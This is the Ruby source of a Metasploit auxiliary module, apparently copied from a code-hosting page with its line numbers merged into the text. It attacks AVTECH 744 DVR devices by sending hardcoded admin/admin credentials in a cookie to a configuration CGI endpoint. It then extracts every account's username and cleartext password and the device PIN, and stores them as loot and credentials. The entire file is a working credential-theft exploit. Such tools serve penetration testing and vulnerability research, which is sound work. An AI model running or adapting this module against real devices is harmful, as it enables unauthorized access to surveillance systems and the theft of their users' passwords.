Path: blob/master/modules/auxiliary/gather/avtech744_dvr_accounts.rb
19758 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::HttpClient7include Msf::Auxiliary::Report89def initialize(info = {})10super(11update_info(12info,13'Name' => 'AVTECH 744 DVR Account Information Retrieval',14'Description' => %q{15This module will extract the account information from the AVTECH 744 DVR devices,16including usernames, cleartext passwords, and the device PIN, along with17a few other miscellaneous details. In order to extract the information, hardcoded18credentials admin/admin are used. These credentials can't be changed from the device19console UI nor from the web UI.20},21'Author' => [ 'nstarke' ],22'License' => MSF_LICENSE,23'Notes' => {24'Reliability' => UNKNOWN_RELIABILITY,25'Stability' => UNKNOWN_STABILITY,26'SideEffects' => UNKNOWN_SIDE_EFFECTS27}28)29)30end3132def run33res = send_request_cgi({34'method' => 'POST',35'uri' => '/cgi-bin/user/Config.cgi',36'cookie' => "SSID=#{Rex::Text.encode_base64('admin:admin')};",37'vars_post' => {38'action' => 'get',39'category' => 'Account.*'40}41})4243unless res44fail_with(Failure::Unreachable, 'No response received from the target')45end4647unless res.code == 20048fail_with(Failure::Unknown, 'An unknown error occurred')49end5051raw_collection = extract_data(res.body)52extract_creds(raw_collection)5354p = store_loot('avtech744.dvr.accounts', 'text/plain', rhost, res.body)55print_good("avtech744.dvr.accounts stored in #{p}")56end5758def extract_data(body)59raw_collection = []60body.each_line do |line|61key, value = line.split('=')62if key && value63_, second, third = key.split('.')64if third65index = second.slice(second.length - 1).to_i66raw_collection[index] = raw_collection[index] ||= {}67case third68when 'Username'69raw_collection[index][:username] = value.strip!70when 'Password'71raw_collection[index][:password] = value.strip!72end73elsif second.include?('Password')74print_good("PIN Retrieved: #{key} - #{value.strip!}")75end76end77end7879raw_collection80end8182def extract_creds(raw_collection)83raw_collection.each do |raw|84unless raw85next86end8788service_data = {89address: rhost,90port: rport,91service_name: 'http',92protocol: 'tcp',93workspace_id: myworkspace_id94}9596credential_data = {97module_fullname: self.fullname,98origin_type: :service,99private_data: raw[:password],100private_type: :password,101username: raw[:username]102}103104credential_data.merge!(service_data)105106credential_core = create_credential(credential_data)107108login_data = {109core: credential_core,110status: Metasploit::Model::Login::Status::UNTRIED111}112113login_data.merge!(service_data)114115create_credential_login(login_data)116end117end118end119120121